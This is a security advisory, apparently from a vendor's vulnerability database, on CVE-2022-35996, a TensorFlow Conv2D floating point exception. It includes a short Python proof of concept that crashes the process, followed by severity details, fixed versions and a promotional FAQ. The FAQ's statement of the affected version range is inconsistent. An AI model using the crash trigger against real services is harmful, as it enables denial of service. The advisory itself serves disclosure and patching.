CVE-2022-35996

TensorFlow vulnerable to floating point exception in Conv2D

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Attribution

This vulnerability has been reported by Jingyi Shi.

If Conv2D is given empty input and the filter and padding sizes are valid, the output is all-zeros. This causes division-by-zero floating point exceptions that can be used to trigger a denial of service attack.

import tensorflow as tf
import numpy as np
with tf.device("CPU"): # also can be triggerred on GPU
   input = np.ones([1, 0, 2, 1])
   filter = np.ones([1, 1, 1, 1])
   strides = ([1, 1, 1, 1])
   padding = "EXPLICIT"
   explicit_paddings = [0 , 0, 1, 1, 1, 1, 0, 0]
   data_format = "NHWC"
   res = tf.raw_ops.Conv2D(
       input=input,
       filter=filter,
       strides=strides,
       padding=padding,
        explicit_paddings=explicit_paddings,
       data_format=data_format,
  )

CVE-2022-35996 has a CVSS score of 5.9 (Medium). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.7.2, 2.8.1, 2.9.1); upgrading removes the vulnerable code path.

Kodem intelligence

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We have patched the issue in GitHub commit 611d80db29dd7b0cfb755772c69d60ae5bca05f9.

The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.

1. What is CVE-2022-35996? CVE-2022-35996 is a medium-severity security vulnerability in tensorflow (pip), affecting versions < 2.7.2. It is fixed in 2.7.2, 2.8.1, 2.9.1.
2. How severe is CVE-2022-35996? CVE-2022-35996 has a CVSS score of 5.9 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which packages are affected by CVE-2022-35996?
   • tensorflow (pip) (versions < 2.7.2)
   • tensorflow-cpu (pip) (versions < 2.7.2)
   • tensorflow-gpu (pip) (versions < 2.7.2)
4. Is there a fix for CVE-2022-35996? Yes. CVE-2022-35996 is fixed in 2.7.2, 2.8.1, 2.9.1. Upgrade to this version or later.
5. Is CVE-2022-35996 exploitable, and should I be worried? Whether CVE-2022-35996 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2022-35996 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2022-35996?
   • Upgrade tensorflow to 2.7.2 or later
   • Upgrade tensorflow to 2.8.1 or later
   • Upgrade tensorflow to 2.9.1 or later
   • Upgrade tensorflow-cpu to 2.7.2 or later
   • Upgrade tensorflow-cpu to 2.8.1 or later
   • Upgrade tensorflow-cpu to 2.9.1 or later
   • Upgrade tensorflow-gpu to 2.7.2 or later
   • Upgrade tensorflow-gpu to 2.8.1 or later
   • Upgrade tensorflow-gpu to 2.9.1 or later

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